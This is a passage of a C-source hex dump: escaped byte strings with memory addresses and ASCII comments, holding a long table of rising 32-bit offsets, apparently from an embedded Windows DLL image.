³^..Å^..Ò^..â^..\n/* 7C803940 */ \"\\xF2\\x5E\\x00\\x00\\x02\\x5F\\x00\\x00\\x19\\x5F\\x00\\x00\\x30\\x5F\\x00\\x00\" // ò^..\u0002_..\u0019_..0_..\n/* 7C803950 */ \"\\x41\\x5F\\x00\\x00\\x54\\x5F\\x00\\x00\\x67\\x5F\\x00\\x00\\x78\\x5F\\x00\\x00\" // A_..T_..g_..x_..\n/* 7C803960 */ \"\\x89\\x5F\\x00\\x00\\x9E\\x5F\\x00\\x00\\xB9\\x5F\\x00\\x00\\xD4\\x5F\\x00\\x00\" // _.._..¹_..Ô_..\n/* 7C803970 */ \"\\xE9\\x5F\\x00\\x00\\xFA\\x5F\\x00\\x00\\x0D\\x60\\x00\\x00\\x26\\x60\\x00\\x00\" // é_..ú_...`..&`..\n/* 7C803980 */ \"\\x3F\\x60\\x00\\x00\\x52\\x60\\x00\\x00\\x5F\\x60\\x00\\x00\\x72\\x60\\x00\\x00\" // ?`..R`.._`..r`..\n/* 7C803990 */ \"\\x8C\\x60\\x00\\x00\\xAC\\x60\\x00\\x00\\xCC\\x60\\x00\\x00\\xE6\\x60\\x00\\x00\" // `..¬`..Ì`..æ`..\n/* 7C8039A0 */ \"\\xFB\\x60\\x00\\x00\\x10\\x61\\x00\\x00\\x26\\x61\\x00\\x00\\x39\\x61\\x00\\x00\" // û`..\u0010a..&a..9a..\n/* 7C8039B0 */ \"\\x4C\\x61\\x00\\x00\\x64\\x61\\x00\\x00\\x7C\\x61\\x00\\x00\\x94\\x61\\x00\\x00\" // La..da..|a..a..\n/* 7C8039C0 */ \"\\xAE\\x61\\x00\\x00\\xCC\\x61\\x00\\x00\\xEA\\x61\\x00\\x00\\xF9\\x61\\x00\\x00\" // ®a..Ìa..êa..ùa..\n/* 7C8039D0 */ \"\\x0B\\x62\\x00\\x00\\x1E\\x62\\x00\\x00\\x34\\x62\\x00\\x00\\x4F\\x62\\x00\\x00\" // \u000bb..\u001eb..4b..Ob..\n/* 7C8039E0 */ \"\\x67\\x62\\x00\\x00\\x78\\x62\\x00\\x00\\x89\\x62\\x00\\x00\\x9A\\x62\\x00\\x00\" // gb..xb..b..b..\n/* 7C8039F0 */ \"\\xAD\\x62\\x00\\x00\\xC0\\x62\\x00\\x00\\xD1\\x62\\x00\\x00\\xE7\\x62\\x00\\x00\" // ­b..Àb..Ñb..çb..\n/* 7C803A00 */ \"\\xFC\\x62\\x00\\x00\\x11\\x63\\x00\\x00\\x23\\x63\\x00\\x00\\x37\\x63\\x00\\x00\" // üb..\u0011c..#c..7c..\n/* 7C803A10 */ \"\\x48\\x63\\x00\\x00\\x5B\\x63\\x00\\x00\\x6A\\x63\\x00\\x00\\x79\\x63\\x00\\x00\" // Hc..[c..jc..yc..\n/* 7C803A20 */ \"\\x8F\\x63\\x00\\x00\\xA5\\x63\\x00\\x00\\xBB\\x63\\x00\\x00\\xCF\\x63\\x00\\x00\" // c..¥c..»c..Ïc..\n/* 7C803A30 */ \"\\xE1\\x63\\x00\\x00\\xF5\\x63\\x00\\x00\\x09\\x64\\x00\\x00\\x1B\\x64\\x00\\x00\" // ác..õc...d..\u001bd..\n/* 7C803A40 */ \"\\x2C\\x64\\x00\\x00\\x3D\\x64\\x00\\x00\\x4B\\x64\\x00\\x00\\x59\\x64\\x00\\x00\" // ,d..=d..Kd..Yd..\n/* 7C803A50 */ \"\\x6F\\x64\\x00\\x00\\x86\\x64\\x00\\x00\\x9D\\x64\\x00\\x00\\xB5\\x64\\x00\\x00\" // od..d..d..µd..\n/* 7C803A60 */ \"\\xCD\\x64\\x00\\x00\\xE0\\x64\\x00\\x00\\xF2\\x64\\x00\\x00\\x03\\x65\\x00\\x00\" // Íd..àd..òd..\u0003e..\n/* 7C803A70 */ \"\\x14\\x65\\x00\\x00\\x27\\x65\\x00\\x00\\x3C\\x65\\x00\\x00\\x51\\x65\\x00\\x00\" // \u0014e..'e..<e..Qe..\n/* 7C803A80 */ \"\\x64\\x65\\x00\\x00\\x7F\\x65\\x00\\x00\\x8B\\x65\\x00\\x00\\x99\\x65\\x00\\x00\" // de..e..e..e..\n/* 7C803A90 */ \"\\xA5\\x65\\x00\\x00\\xB1\\x65\\x00\\x00\\xD1\\x65\\x00\\x00\\xF1\\x65\\x00\\x00\" // ¥e..±e..Ñe..ñe..\n/* 7C803AA0 */ \"\\x02\\x66\\x00\\x00\\x13\\x66\\x00\\x00\\x1F\\x66\\x00\\x00\\x2B\\x66\\x00\\x00\" // \u0002f..\u0013f..\u001ff..+f..\n/* 7C803AB0 */ \"\\x3C\\x66\\x00\\x00\\x51\\x66\\x00\\x00\\x6D\\x66\\x00\\x00\\x7A\\x66\\x00\\x00\" // <f..Qf..mf..zf..\n/* 7C803AC0 */ \"\\x8E\\x66\\x00\\x00\\x9B\\x66\\x00\\x00\\xAA\\x66\\x00\\x00\\xB9\\x66\\x00\\x00\" // f..f..ªf..¹f..\n/* 7C803AD0 */ \"\\xD1\\x66\\x00\\x00\\xE9\\x66\\x00\\x00\\xFA\\x66\\x00\\x00\\x0B\\x67\\x00\\x00\" // Ñf..éf..úf..\u000bg..\n/* 7C803AE0 */ \"\\x1C\\x67\\x00\\x00\\x2C\\x67\\x00\\x00\\x3F\\x67\\x00\\x00\\x52\\x67\\x00\\x00\" // \u001cg..,g..?g..Rg..\n/* 7C803AF0 */ \"\\x63\\x67\\x00\\x00\\x76\\x67\\x00\\x00\\x89\\x67\\x00\\x00\\x9A\\x67\\x00\\x00\" // cg..vg..g..g..\n/* 7C803B00 */ \"\\xB3\\x67\\x00\\x00\\xCC\\x67\\x00\\x00\\xDD\\x67\\x00\\x00\\xF1\\x67\\x00\\x00\" // ³g..Ìg..Ýg..ñg..\n/* 7C803B10 */ \"\\x03\\x68\\x00\\x00\\x15\\x68\\x00\\x00\\x2C\\x68\\x00\\x00\\x47\\x68\\x00\\x00\" // \u0003h..\u0015h..,h..Gh..\n/* 7C803B20 */ \"\\x60\\x68\\x00\\x00\\x79\\x68\\x00\\x00\\x8D\\x68\\x00\\x00\\xA2\\x68\\x00\\x00\" // `h..yh..h..¢h..\n/* 7C803B30 */ \"\\xB3\\x68\\x00\\x00\\xC4\\x68\\x00\\x00\\xDC\\x68\\x00\\x00\\xFA\\x68\\x00\\x00\" // ³h..Äh..Üh..úh..\n/* 7C803B40 */ \"\\x19\\x69\\x00\\x00\\x22\\x69\\x00\\x00\\x36\\x69\\x00\\x00\\x47\\x69\\x00\\x00\" // \u0019i..\"i..6i..Gi..\n/* 7C803B50 */ \"\\x5D\\x69\\x00\\x00\\x73\\x69\\x00\\x00\\x8D\\x69\\x00\\x00\\xAC\\x69\\x00\\x00\" // ]i..si..i..¬i..\n/* 7C803B60 */ \"\\xCB\\x69\\x00\\x00\\xE5\\x69\\x00\\x00\\xFE\\x69\\x00\\x00\\x17\\x6A\\x00\\x00\" // Ëi..åi..þi..\u0017j..\n/* 7C803B70 */ \"\\x30\\x6A\\x00\\x00\\x49\\x6A\\x00\\x00\\x58\\x6A\\x00\\x00\\x6F\\x6A\\x00\\x00\" // 0j..Ij..Xj..oj..\n/* 7C803B80 */ \"\\x85\\x6A\\x00\\x00\\x94\\x6A\\x00\\x00\\xA4\\x6A\\x00\\x00\\xB1\\x6A\\x00\\x00\" // j..j..¤j..±j..\n/* 7C803B90 */ \"\\xC6\\x6A\\x00\\x00\\xDE\\x6A\\x00\\x00\\xFB\\x6A\\x00\\x00\\x0B\\x6B\\x00\\x00\" // Æj..Þj..ûj..\u000bk..\n/* 7C803BA0 */ \"\\x1D\\x6B\\x00\\x00\\x36\\x6B\\x00\\x00\\x45\\x6B\\x00\\x00\\x54\\x6B\\x00\\x00\" // \u001dk..6k..Ek..Tk..\n/* 7C803BB0 */ \"\\x67\\x6B\\x00\\x00\\x7A\\x6B\\x00\\x00\\x8C\\x6B\\x00\\x00\\x9E\\x6B\\x00\\x00\" // gk..zk..k..k..\n/* 7C803BC0 */ \"\\xB8\\x6B\\x00\\x00\\xCA\\x6B\\x00\\x00\\xDC\\x6B\\x00\\x00\\xEC\\x6B\\x00\\x00\" // ¸k..Êk..Ük..ìk..\n/* 7C803BD0 */ \"\\xFC\\x6B\\x00\\x00\\x09\\x6C\\x00\\x00\\x18\\x6C\\x00\\x00\\x29\\x6C\\x00\\x00\" // ük...l..\u0018l..)l..\n/* 7C803BE0 */ \"\\x3A\\x6C\\x00\\x00\\x49\\x6C\\x00\\x00\\x5E\\x6C\\x00\\x00\\x75\\x6C\\x00\\x00\" // :l..Il..^l..ul..\n/* 7C803BF0 */ \"\\x90\\x6C\\x00\\x00\\xA4\\x6C\\x00\\x00\\xB8\\x6C\\x00\\x00\\xC6\\x6C\\x00\\x00\" // l..¤l..¸l..Æl..\n/* 7C803C00 */ \"\\xDB\\x6C\\x00\\x00\\xF2\\x6C\\x00\\x00\\x00\\x6D\\x00\\x00\\x18\\x6D\\x00\\x00\" // Ûl..òl...m..\u0018m..\n/* 7C803C10 */ \"\\x30\\x6D\\x00\\x00\\x3F\\x6D\\x00\\x00\\x5A\\x6D\\x00\\x00\\x75\\x6D\\x00\\x00\" // 0m..?m..Zm..um..\n/* 7C803C20 */ \"\\x8E\\x6D\\x00\\x00\\xA7\\x6D\\x00\\x00\\xB9\\x6D\\x00\\x00\\xC9\\x6D\\x00\\x00\" // m..§m..¹m..Ém..\n/* 7C803C30 */ \"\\xD7\\x6D\\x00\\x00\\xE8\\x6D\\x00\\x00\\xF9\\x6D\\x00\\x00\\x06\\x6E\\x00\\x00\" // ×m..èm..ùm..\u0006n..\n/* 7C803C40 */ \"\\x13\\x6E\\x00\\x00\\x24\\x6E\\x00\\x00\\x3B\\x6E\\x00\\x00\\x4B\\x6E\\x00\\x00\" // \u0013n..$n..;n..Kn..\n/* 7C803C50 */ \"\\x5D\\x6E\\x00\\x00\\x74\\x6E\\x00\\x00\\x8B\\x6E\\x00\\x00\\x9A\\x6E\\x00\\x00\" // ]n..tn..n..n..\n/* 7C803C60 */ \"\\xA7\\x6E\\x00\\x00\\xB6\\x6E\\x00\\x00\\xC5\\x6E\\x00\\x00\\xDC\\x6E\\x00\\x00\" // §n..¶n..Ån..Ün..\n/* 7C803C70 */ \"\\xEF\\x6E\\x00\\x00\\x04\\x6F\\x00\\x00\\x1D\\x6F\\x00\\x00\\x2A\\x6F\\x00\\x00\" // ïn..\u0004o..\u001do..*o..\n/* 7C803C80 */ \"\\x43\\x6F\\x00\\x00\\x4E\\x6F\\x00\\x00\\x5C\\x6F\\x00\\x00\\x6A\\x6F\\x00\\x00\" // Co..No..\\o..jo..\n/* 7C803C90 */ \"\\x80\\x6F\\x00\\x00\\x96\\x6F\\x00\\x00\\xB8\\x6F\\x00\\x00\\xDA\\x6F\\x00\\x00\" // o..o..¸o..Úo..\n/* 7C803CA0 */ \"\\xED\\x6F\\x00\\x00\\x00\\x70\\x00\\x00\\x21\\x70\\x00\\x00\\x42\\x70\\x00\\x00\" // ío...p..!p..Bp..\n/* 7C803CB0 */ \"\\x57\\x70\\x00\\x00\\x6C\\x70\\x00\\x00\\x7A\\x70\\x00\\x00\\x89\\x70\\x00\\x00\" // Wp..lp..zp..p..\n/* 7C803CC0 */ \"\\x98\\x70\\x00\\x00\\xA4\\x70\\x00\\x00\\xB2\\x70\\x00\\x00\\xC3\\x70\\x00\\x00\" // p..¤p..²p..Ãp..\n/* 7C803CD0 */ \"\\xD3\\x70\\x00\\x00\\xE3\\x70\\x00\\x00\\xED\\x70\\x00\\x00\\xF9\\x70\\x00\\x00\" // Óp..ãp..íp..ùp..\n/* 7C803CE0 */ \"\\x04\\x71\\x00\\x00\\x17\\x71\\x00\\x00\\x2A\\x71\\x00\\x00\\x37\\x71\\x00\\x00\" // \u0004q..\u0017q..*q..7q..\n/* 7C803CF0 */ \"\\x42\\x71\\x00\\x00\\x55\\x71\\x00\\x00\\x6A\\x71\\x00\\x00\\x78\\x71\\x00\\x00\" // Bq..Uq..jq..xq..\n/* 7C803D00 */ \"\\x83\\x71\\x00\\x00\\x90\\x71\\x00\\x00\\x9C\\x71\\x00\\x00\\xA9\\x71\\x00\\x00\" // q..q..q..©q..\n/* 7C803D10 */ \"\\xB4\\x71\\x00\\x00\\xC0\\x71\\x00\\x00\\xD0\\x71\\x00\\x00\\xDF\\x71\\x00\\x00\" // ´q..Àq..Ðq..ßq..\n/* 7C803D20 */ \"\\xEA\\x71\\x00\\x00\\xF4\\x71\\x00\\x00\\x00\\x72\\x00\\x00\\x0B\\x72\\x00\\x00\" // êq..ôq...r..\u000br..\n/* 7C803D30 */ \"\\x1B\\x72\\x00\\x00\\x27\\x72\\x00\\x00\\x32\\x72\\x00\\x00\\x3B\\x72\\x00\\x00\" // \u001br..'r..2r..;r..\n/* 7C803D40 */ \"\\x44\\x72\\x00\\x00\\x59\\x72\\x00\\x00\\x67\\x72\\x00\\x00\\x73\\x72\\x00\\x00\" // Dr..Yr..gr..sr..\n/* 7C803D50 */ \"\\x86\\x72\\x00\\x00\\x8F\\x72\\x00\\x00\\x9B\\x72\\x00\\x00\\xA6\\x72\\x00\\x00\" // r..r..r..¦r..\n/* 7C803D60 */ \"\\xB0\\x72\\x00\\x00\\xBD\\x72\\x00\\x00\\xC6\\x72\\x00\\x00\\xD4\\x72\\x00\\x00\" // °r..½r..Ær..Ôr..\n/* 7C803D70 */ \"\\xEE\\x72\\x00\\x00\\x14\\x73\\x00\\x00\\x28\\x73\\x00\\x00\\x43\\x73\\x00\\x00\" // îr..\u0014s..(s..Cs..\n/* 7C803D80 */ \"\\x58\\x73\\x00\\x00\\x6C\\x73\\x00\\x00\\x83\\x73\\x00\\x00\\x99\\x73\\x00\\x00\" // Xs..ls..s..s..\n/* 7C803D90 */ \"\\xAE\\x73\\x00\\x00\\xC7\\x73\\x00\\x00\\xE1\\x73\\x00\\x00\\xF9\\x73\\x00\\x00\" // ®s..Çs..ás..ùs..\n/* 7C803DA0 */ \"\\x06\\x74\\x00\\x00\\x17\\x74\\x00\\x00\\x29\\x74\\x00\\x00\\x36\\x74\\x00\\x00\" // \u0006t..\u0017t..)t..6t..\n/* 7C803DB0 */ \"\\x46\\x74\\x00\\x00\\x56\\x74\\x00\\x00\\x64\\x74\\x00\\x00\\x73\\x74\\x00\\x00\" // Ft..Vt..dt..st..\n/* 7C803DC0 */ \"\\x84\\x74\\x00\\x00\\x96\\x74\\x00\\x00\\xA5\\x74\\x00\\x00\\xBF\\x74\\x00\\x00\" // t..t..¥t..¿t..\n/* 7C803DD0 */ \"\\xD7\\x74\\x00\\x00\\xE7\\x74\\x00\\x00\\xFC\\x74\\x00\\x00\\x0A\\x75\\x00\\x00\" // ×t..çt..üt...u..\n/* 7C803DE0 */ \"\\x1C\\x75\\x00\\x00\\x2B\\x75\\x00\\x00\\x38\\x75\\x00\\x00\\x45\\x75\\x00\\x00\" // \u001cu..+u..8u..Eu..\n/* 7C803DF0 */ \"\\x4D\\x75\\x00\\x00\\x59\\x75\\x00\\x00\\x60\\x75\\x00\\x00\\x6E\\x75\\x00\\x00\" // Mu..Yu..`u..nu..\n/* 7C803E00 */ \"\\x75\\x75\\x00\\x00\\x7C\\x75\\x00\\x00\\x88\\x75\\x00\\x00\\x94\\x75\\x00\\x00\" // uu..|u..u..u..\n/* 7C803E10 */ \"\\x9B\\x75\\x00\\x00\\xA2\\x75\\x00\\x00\\xAA\\x75\\x00\\x00\\xBF\\x75\\x00\\x00\" // u..¢u..ªu..¿u..\n/* 7C803E20 */ \"\\xCC\\x75\\x00\\x00\\xDB\\x75\\x00\\x00\\xEA\\x75\\x00\\x00\\xF7\\x75\\x00\\x00\" // Ìu..Ûu..êu..÷u..\n/* 7C803E30 */ \"\\x02\\x76\\x00\\x00\\x0F\\x76\\x00\\x00\\x1A\\x76\\x00\\x00\\x27\\x76\\x00\\x00\" // \u0002v..\u000fv..\u001av..'v..\n/* 7C803E40 */ \"\\x3F\\x76\\x00\\x00\\x4A\\x76\\x00\\x00\\x54\\x76\\x00\\x00\\x60\\x76\\x00\\x00\" // ?v..Jv..Tv..`v..\n/* 7C803E50 */ \"\\x6A\\x76\\x00\\x00\\x77\\x76\\x00\\x00\\x83\\x76\\x00\\x00\\x8D\\x76\\x00\\x00\" // jv..wv..v..v..\n/* 7C803E60 */ \"\\x99\\x76\\x00\\x00\\xA2\\x76\\x00\\x00\\xAD\\x76\\x00\\x00\\xBA\\x76\\x00\\x00\" // v..¢v..­v..ºv..\n/* 7C803E70 */ \"\\xCF\\x76\\x00\\x00\\xEB\\x76\\x00\\x00\\xF9\\x76\\x00\\x00\\x09\\x77\\x00\\x00\" // Ïv..ëv..ùv...w..\n/* 7C803E80 */ \"\\x17\\x77\\x00\\x00\\x26\\x77\\x00\\x00\\x33\\x77\\x00\\x00\\x41\\x77\\x00\\x00\" // \u0017w..&w..3w..Aw..\n/* 7C803E90 */ \"\\x4B\\x77\\x00\\x00\\x57\\x77\\x00\\x00\\x63\\x77\\x00\\x00\\x6D\\x77\\x00\\x00\" // Kw..Ww..cw..mw..\n/* 7C803EA0 */ \"\\x83\\x77\\x00\\x00\\x99\\x77\\x00\\x00\\xA0\\x77\\x00\\x00\\xB4\\x77\\x00\\x00\" // w..w.. w..´w..\n/* 7C803EB0 */ \"\\xCE\\x77\\x00\\x00\\xE5\\x77\\x00\\x00\\xFB\\x77\\x00\\x00\\x10\\x78\\x00\\x00\" // Îw..åw..ûw..\u0010x..\n/* 7C803EC0 */ \"\\x1D\\x78\\x00\\x00\\x2A\\x78\\x00\\x00\\x35\\x78\\x00\\x00\\x40\\x78\\x00\\x00\" // \u001dx..*x..5x..@x..\n/* 7C803ED0 */ \"\\x49\\x78\\x00\\x00\\x5A\\x78\\x00\\x00\\x6B\\x78\\x00\\x00\\x7A\\x78\\x00\\x00\" // Ix..Zx..kx..zx..\n/* 7C803EE0 */ \"\\x89\\x78\\x00\\x00\\x94\\x78\\x00\\x00\\x9F\\x78\\x00\\x00\\xAB\\x78\\x00\\x00\" // x..x..x..«x..\n/* 7C803EF0 */ \"\\xC2\\x78\\x00\\x00\\xD1\\x78\\x00\\x00\\xE0\\x78\\x00\\x00\\xEB\\x78\\x00\\x00\" // Âx..Ñx..àx..ëx..\n/* 7C803F00 */ \"\\xFE\\x78\\x00\\x00\\x11\\x79\\x00\\x00\\x24\\x79\\x00\\x00\\x37\\x79\\x00\\x00\" // þx..\u0011y..$y..7y..\n/* 7C803F10 */ \"\\x49\\x79\\x00\\x00\\x5B\\x79\\x00\\x00\\x69\\x79\\x00\\x00\\x84\\x79\\x00\\x00\" // Iy..[y..iy..y..\n/* 7C803F20 */ \"\\x90\\x79\\x00\\x00\\xA0\\x79\\x00\\x00\\xB6\\x79\\x00\\x00\\xC5\\x79\\x00\\x00\" // y.. y..¶y..Åy..\n/* 7C803F30 */ \"\\xD5\\x79\\x00\\x00\\xE3\\x79\\x00\\x00\\xF2\\x79\\x00\\x00\\x07\\x7A\\x00\\x00\" // Õy..ãy..òy..\u0007z..\n/* 7C803F40 */ \"\\x12\\x7A\\x00\\x00\\x1C\\x7A\\x00\\x00\\x29\\x7A\\x00\\x00\\x39\\x7A\\x00\\x00\" // \u0012z..\u001cz..)z..9z..\n/* 7C803F50 */ \"\\x49\\x7A\\x00\\x00\\x59\\x7A\\x00\\x00\\x73\\x7A\\x00\\x00\\x93\\x7A\\x00\\x00\" // Iz..Yz..sz..z..\n/* 7C803F60 */ \"\\xAB\\x7A\\x00\\x00\\xC5\\x7A\\x00\\x00\\xE8\\x7A\\x00\\x00\\xF5\\x7A\\x00\\x00\" // «z..Åz..èz..õz..\n/* 7C803F70 */ \"\\x07\\x7B\\x00\\x00\\x16\\x7B\\x00\\x00\\x23\\x7B\\x00\\x00\\x35\\x7B\\x00\\x00\" // \u0007{..\u0016{..#{..5{..\n/* 7C803F80 */ \"\\x49\\x7B\\x00\\x00\\x5D\\x7B\\x00\\x00\\x6F\\x7B\\x00\\x00\\x82\\x7B\\x00\\x00\" // I{..]{..o{..{..\n/* 7C803F90 */ \"\\x9D\\x7B\\x00\\x00\\xB9\\x7B\\x00\\x00\\xD5\\x7B\\x00\\x00\\xE8\\x7B\\x00\\x00\" // {..¹{..Õ{..è{..\n/* 7C803FA0 */ \"\\xF5\\x7B\\x00\\x00\\x0B\\x7C\\x00\\x00\\x14\\x7C\\x00\\x00\\x1F\\x7C\\x00\\x00\" // õ{..\u000b|..\u0014|..\u001f|..\n/* 7C803FB0 */ \"\\x2F\\x7C\\x00\\x00\\x41\\x7C\\x00\\x00\\x54\\x7C\\x00\\x00\\x67\\x7C\\x00\\x00\" // /|..A|..T|..g|..\n/* 7C803FC0 */ \"\\x7A\\x7C\\x00\\x00\\x93\\x7C\\x00\\x00\\xAF\\x7C\\x00\\x00\\xCD\\x7C\\x00\\x00\" // z|..|..¯|..Í|..\n/* 7C803FD0 */ \"\\xE5\\x7C\\x00\\x00\\xF5\\x7C\\x00\\x00\\x03\\x7D\\x00\\x00\\x10\\x7D\\x00\\x00\" // å|..õ|..\u0003}..\u0010}..\n/* 7C803FE0 */ \"\\x21\\x7D\\x00\\x00\\x32\\x7D\\x00\\x00\\x43\\x7D\\x00\\x00\\x65\\x7D\\x00\\x00\" // !}..2}..C}..e}..\n/* 7C803FF0 */ \"\\x87\\x7D\\x00\\x00\\xA6\\x7D\\x00\\x00\\xB2\\x7D\\x00\\x00\\xBF\\x7D\\x00\\x00\" // }..¦}..²}..¿}..\n/* 7C804000 */ \"\\xCC\\x7D\\x00\\x00\\xE0\\x7D\\x00\\x00\\xF5\\x7D\\x00\\x00\\x00\\x7E\\x00\\x00\" // Ì}..à}..õ}...~..\n/* 7C804010 */ \"\\x10\\x7E\\x00\\x00\\x21\\x7E\\x00\\x00\\x2E\\x7E\\x00\\x00\\x40\\x7E\\x00\\x00\" // \u0010~..!~...~..@~..\n/* 7C804020 */ \"\\x59\\x7E\\x00\\x00\\x67\\x7E\\x00\\x00\\x75\\x7E\\x00\\x00\\x7F\\x7E\\x00\\x00\" // Y~..g~..u~..~..\n/* 7C804030 */ \"\\x8D\\x7E\\x00\\x00\\xA8\\x7E\\x00\\x00\\xC3\\x7E\\x00\\x00\\xCF\\x7E\\x00\\x00\" // ~..¨~..Ã~..Ï~..\n/* 7C804040 */ \"\\xDB\\x7E\\x00\\x00\\xE7\\x7E\\x00\\x00\\xF8\\x7E\\x00\\x00\\x09\\x7F\\x00\\x00\" // Û~..ç~..ø~.....\n/* 7C804050 */ \"\\x26\\x7F\\x00\\x00\\x45\\x7F\\x00\\x00\\x52\\x7F\\x00\\x00\\x60\\x7F\\x00\\x00\" // &..E..R..`..\n/* 7C804060 */ \"\\x6C\\x7F\\x00\\x00\\x79\\x7F\\x00\\x00\\x89\\x7F\\x00\\x00\\x9A\\x7F\\x00\\x00\" // l..y......\n/* 7C804070 */ \"\\xAD\\x7F\\x00\\x00\\xC0\\x7F\\x00\\x00\\xD1\\x7F\\x00\\x00\\xEE\\x7F\\x00\\x00\" // ­..À..Ñ..î..\n/* 7C804080 */ \"\\xFB\\x7F\\x00\\x00\\x18\\x80\\x00\\x00\\x2E\\x80\\x00\\x00\\x3F\\x80\\x00\\x00\" // û..\u0018.....?..\n/* 7C804090 */ \"\\x54\\x80\\x00\\x00\\x69\\x80\\x00\\x00\\x82\\x80\\x00\\x00\\x98\\x80\\x00\\x00\" // T..i......\n/* 7C8040A0 */ \"\\xA7\\x80\\x00\\x00\\xBF\\x80\\x00\\x00\\xCE\\x80\\x00\\x00\\xE6\\x80\\x00\\x00\" // §..¿..Î..æ..\n/* 7C8040B0 */ \"\\xFE\\x80\\x00\\x00\\x15\\x81\\x00\\x00\\x29\\x81\\x00\\x00\\x45\\x81\\x00\\x00\" // þ..\u0015..)..E..\n/* 7C8040C0 */ \"\\x59\\x81\\x00\\x00\\x68\\x81\\x00\\x00\\x7A\\x81\\x00\\x00\\x96\\x81\\x00\\x00\" // Y..h..z....\n/* 7C8040D0 */ \"\\xB2\\x81\\x00\\x00\\xC9\\x81\\x00\\x00\\xDC\\x81\\x00\\x00\\xEE\\x81\\x00\\x00\" // ²..É..Ü..î..\n/* 7C8040E0 */ \"\\x09\\x82\\x00\\x00\\x21\\x82\\x00\\x00\\x32\\x82\\x00\\x00\\x43\\x82\\x00\\x00\" // ...!..2..C..\n/* 7C8040F0 */ \"\\x58\\x82\\x00\\x00\\x74\\x82\\x00\\x00\\x89\\x82\\x00\\x00\\x9E\\x82\\x00\\x00\" // X..t......\n/* 7C804100 */ \"\\xB4\\x82\\x00\\x00\\xCA\\x82\\x00\\x00\\xDB\\x82\\x00\\x00\\xEC\\x82\\x00\\x00\" // ´..Ê..Û..ì..\n/* 7C804110 */ \"\\xF9\\x82\\x00\\x00\\x11\\x83\\x00\\x00\\x29\\x83\\x00\\x00\\x36\\x83\\x00\\x00\" // ù..\u0011..)..6..\n/* 7C804120 */ \"\\x3F\\x83\\x00\\x00\\x51\\x83\\x00\\x00\\x62\\x83\\x00\\x00\\x75\\x83\\x00\\x00\" // ?..Q..b..u..\n/* 7C804130 */ \"\\x88\\x83\\x00\\x00\\x97\\x83\\x00\\x00\\xA8\\x83\\x00\\x00\\xBA\\x83\\x00\\x00\" // ....¨..º..\n/* 7C804140 */ \"\\xCC\\x83\\x00\\x00\\xD8\\x83\\x00\\x00\\xE9\\x83\\x00\\x00\\x09\\x84\\x00\\x00\" // Ì..Ø..é.....\n/* 7C804150 */ \"\\x29\\x84\\x00\\x00\\x3A\\x84\\x00\\x00\\x49\\x84\\x00\\x00\\x5E\\x84\\x00\\x00\" // )..:..I..^..\n/* 7C804160 */ \"\\x76\\x84\\x00\\x00\\x90\\x84\\x00\\x00\\x9D\\x84\\x00\\x00\\xBA\\x84\\x00\\x00\" // v......º..\n/* 7C804170 */ \"\\xD7\\x84\\x00\\x00\\xE4\\x84\\x00\\x00\\xF3\\x84\\x00\\x00\\x02\\x85\\x00\\x00\" // ×..ä..ó..\u0002..\n/* 7C804180 */ \"\\x12\\x85\\x00\\x00\\x2D\\x85\\x00\\x00\\x45\\x85\\x00\\x00\\x56\\x85\\x00\\x00\" // \u0012..-..E..V..\n/* 7C804190 */ \"\\x6D\\x85\\x00\\x00\\x85\\x85\\x00\\x00\\xA2\\x85\\x00\\x00\\xBB\\x85\\x00\\x00\" // m....¢..»..\n/* 7C8041A0 */ \"\\xC8\\x85\\x00\\x00\\xDC\\x85\\x00\\x00\\xEA\\x85\\x00\\x00\\x02\\x86\\x00\\x00\" // È..Ü..ê..\u0002..\n/* 7C8041B0 */ \"\\x14\\x86\\x00\\x00\\x24\\x86\\x00\\x00\\x3D\\x86\\x00\\x00\\x53\\x86\\x00\\x00\" // \u0014..$..=..S..\n/* 7C8041C0 */ \"\\x64\\x86\\x00\\x00\\x7C\\x86\\x00\\x00\\x94\\x86\\x00\\x00\\xA4\\x86\\x00\\x00\" // d..|....¤..\n/* 7C8041D0 */ \"\\xB6\\x86\\x00\\x00\\xCD\\x86\\x00\\x00\\xE1\\x86\\x00\\x00\\xF8\\x86\\x00\\x00\" // ¶..Í..á..ø..\n/* 7C8041E0 */ \"\\x0B\\x87\\x00\\x00\\x27\\x87\\x00\\x00\\x34\\x87\\x00\\x00\\x4D\\x87\\x00\\x00\" // \u000b..'..4..M..\n/* 7C8041F0 */ \"\\x5D\\x87\\x00\\x00\\x6D\\x87\\x00\\x00\\x82\\x87\\x00\\x00\\x97\\x87\\x00\\x00\" // ]..m......\n/* 7C804200 */ \"\\xA8\\x87\\x00\\x00\\xB2\\x87\\x00\\x00\\xC4\\x87\\x00\\x00\\xD8\\x87\\x00\\x00\" // ¨..²..Ä..Ø..\n/* 7C804210 */ \"\\xE7\\x87\\x00\\x00\\xED\\x87\\x00\\x00\\xF5\\x87\\x00\\x00\\x03\\x88\\x00\\x00\" // ç..í..õ..\u0003..\n/* 7C804220 */ \"\\x11\\x88\\x00\\x00\\x20\\x88\\x00\\x00\\x35\\x88\\x00\\x00\\x55\\x88\\x00\\x00\" // \u0011.. ..5..U..\n/* 7C804230 */ \"\\x68\\x88\\x00\\x00\\x79\\x88\\x00\\x00\\x89\\x88\\x00\\x00\\x9F\\x88\\x00\\x00\" // h..y......\n/* 7C804240 */ \"\\xAD\\x88\\x00\\x00\\xBA\\x88\\x00\\x00\\xC3\\x88\\x00\\x00\\xCB\\x88\\x00\\x00\" // ­..º..Ã..Ë..\n/* 7C804250 */ \"\\xD7\\x88\\x00\\x00\\xE3\\x88\\x00\\x00\\xFF\\x88\\x00\\x00\\x11\\x89\\x00\\x00\" // ×..ã..ÿ..\u0011..\n/* 7C804260 */ \"\\x22\\x89\\x00\\x00\\x34\\x89\\x00\\x00\\x4C\\x89\\x00\\x00\\x6C\\x89\\x00\\x00\" // \"..4..L..l..\n/* 7C804270 */ \"\\x77\\x89\\x00\\x00\\x84\\x89\\x00\\x00\\x9D\\x89\\x00\\x00\\xA8\\x89\\x00\\x00\" // w......¨..\n/* 7C804280 */ \"\\xB5\\x89\\x00\\x00\\xC5\\x89\\x00\\x00\\xDA\\x89\\x00\\x00\\xE9\\x89\\x00\\x00\" // µ..Å..Ú..é..\n/* 7C804290 */ \"\\xFA\\x89\\x00\\x00\\x0A\\x8A\\x00\\x00\\x1A\\x8A\\x00\\x00\\x2E\\x8A\\x00\\x00\" // ú.....\u001a.....\n/* 7C8042A0 */ \"\\x42\\x8A\\x00\\x00\\x51\\x8A\\x00\\x00\\x60\\x8A\\x00\\x00\\x71\\x8A\\x00\\x00\" // B..Q..`..q..\n/* 7C8042B0 */ 